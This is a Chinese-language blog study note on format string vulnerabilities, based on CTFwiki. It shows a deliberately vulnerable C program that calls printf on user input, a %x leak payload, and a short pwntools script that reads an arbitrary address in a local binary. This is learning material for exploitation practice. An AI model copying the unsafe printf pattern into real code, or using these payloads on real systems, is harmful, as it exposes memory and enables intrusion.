格式化字符串漏洞学习笔记

参考:CTFwiki

0x1 原理

printf等格式化输入输出的语句,在缺少某些变量时,会出现的错误。
当输出语句为printf(“color %s,age: %d,s:%4.2lf”,“red”,12,3.14)时,会对应输出相应的内容,
从github盗的图
但是如果没有输入对应的数值,printf语句就会因为没有相应的参数输出而去解析栈上存储格式化字符串地址上面的三个变量,并分别将其解析为

  1. 对应的字符串
  2. 对应的整形值
  3. 对应的浮点数的值
    对于2,3来说倒还无妨,但是对于对于1来说,如果提供了一个不可访问地址,比如0,那么程序就会因此而崩溃。
    例如,正常的程序是这样的
    在这里插入图片描述
    你输入什么,他会原样输出什么。
    在这里插入图片描述
    但有人为了方便,会这样写,
    在这里插入图片描述
    在正常输入的时候,他是没有问题的,但是却产生了一个非常严重的错误。
    一般来说,一个函数的参数个数是固定的,需要多少就从内存中读取多少变量,但对于printf这类可变参数的函数,他的函数参数数目是不固定的,这就让一切变得模糊起来。所以printf需要传入format参数来指定需要的参数,但由于偷懒和疏忽,将输入格式化字符的权限交给了用户,漏洞就这么产生了。
    示例程序:
#include <stdio.h>

int main(void)
{
	char a[100];
	scanf("%s",a);
	printf(a);
	return 0;
}

输入

AAAA%x%x%x%x%x%x%x

在这里插入图片描述
这样就会将后面的信息泄露了,通过不断的取变量操作,最终我们就能读取到程序的每一个位置。

0x 2 利用

实现任意地址读

任意地址读我们需要用到printf格式化字符串的另外一个特性,”$“操作符。
这个操作符可以输出指定位置的参数。
示例程序:

#include <stdio.h>

int main(void)
{
	char str[100];
	scanf("%s",str);
	printf(str);
	return 0;
}

首先测偏移量,
在这里插入图片描述
所以,参数的偏移量就是6,
然后我们用pwntools编写如下脚本

from pwn import *

context.log_level = 'debug'

cn = process('str')
cn.sendline(p32(0x08048000)+"%6$s")
#cn.sendline("%7$s"+p32(0x08048000))
print cn.recv()

在这里插入图片描述
他会报错,因为我们想要读取的地址是0x08048000,根据little-endian,所以我们发送过去的数据包的第一字节是地址的最后一字节,即0x00,所以发送失败。我们可以对payload做如下调整

cn.sendline("%7$s"+p32(0x08048000))

这样就可以了。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值